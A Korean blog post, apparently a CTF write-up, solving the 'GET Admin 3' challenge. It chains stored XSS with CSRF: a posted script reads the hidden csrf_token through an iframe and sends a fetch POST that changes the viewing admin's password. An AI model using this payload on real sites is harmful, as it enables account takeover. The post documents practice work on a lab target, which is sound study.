Almon Dev

ctf 풀이 (GET Admin 3) 본문

웹 해킹/웹 해킹(ctf)

ctf 풀이 (GET Admin 3)

Almon 2025. 1. 13. 01:49

ctf 문제 풀이

 

GET Admin 3

 

 

풀이

1. CSRF 취약점 찾기

문제에서 admin 계정을 탈취하라고 합니다. 그렇다면 비밀번호 변경 기능이 CSRF 취약점이 있는지 확인합니다.

 

마이페이지의 수정 기능에 인증정보가 포함되지 않는 것 같습니다.

 

그런데 요청값을 보니 입력한 적 없는 token이 포함되어 있습니다.

아무래도 마이페이지에 접근할 때 자동으로 form태그에 hidden 타입으로 생성되어 있는 것 같습니다.

 

GET 메서드도 확인해 봤지만 불가능했습니다.

 

2. 관리자 계정 탈취하기

그렇다면 csrf token을 탈취한 뒤에 POST 메서드로 요청을 보내면 CSRF 공격이 가능할 것 같습니다.

그러기 위해서는 우선 XSS 취약점을 찾아야 합니다.

 

게시판 글 작성에서 JS를 삽입해 CSRF Token을 탈취한 뒤 CSRF 공격을 하도록 하겠습니다.

iframe을 이용해서 마이페이지에 접근하고 csrf_token을 탈취한 뒤

fetch를 이용해서 post요청을 보내 비밀번호를 변경하는 스크립트입니다.

const frame = document.querySelector('#frame');
frame.onload = () => {
const frameDom = frame.contentDocument;
const token = frameDom.querySelector('input[name="csrf_token"]').value;
const url = 'http://ctf.segfaulthub.com:7575/csrf_3/mypage_update.php';
fetch(url, {
method : 'POST',
headers : {
'Content-Type' : 'application/x-www-form-urlencoded',
},
body : `pw=12345&csrf_token=${token}`,
})
.then(res => res.text())
.then(res => console.log(res))
}

 

게시글에 접근하면 비밀번호가 변경되는것을 확인할 수 있습니다.

 

이제 관리자봇이 해당 게시글에 접근하도록 하면 됩니다.

 

관리자 계정에 로그인합니다.

 

'웹 해킹 > 웹 해킹(ctf)' 카테고리의 다른 글

ctf 풀이 (Get Flag File)  (0) 2025.02.17
ctf 풀이 (WebShell 3)  (0) 2025.02.17
ctf 풀이 (GET Admin 2)  (1) 2025.01.13
ctf 풀이 (GET Admin 1)  (1) 2025.01.13
ctf 풀이 (Steal Info 2)  (0) 2024.12.31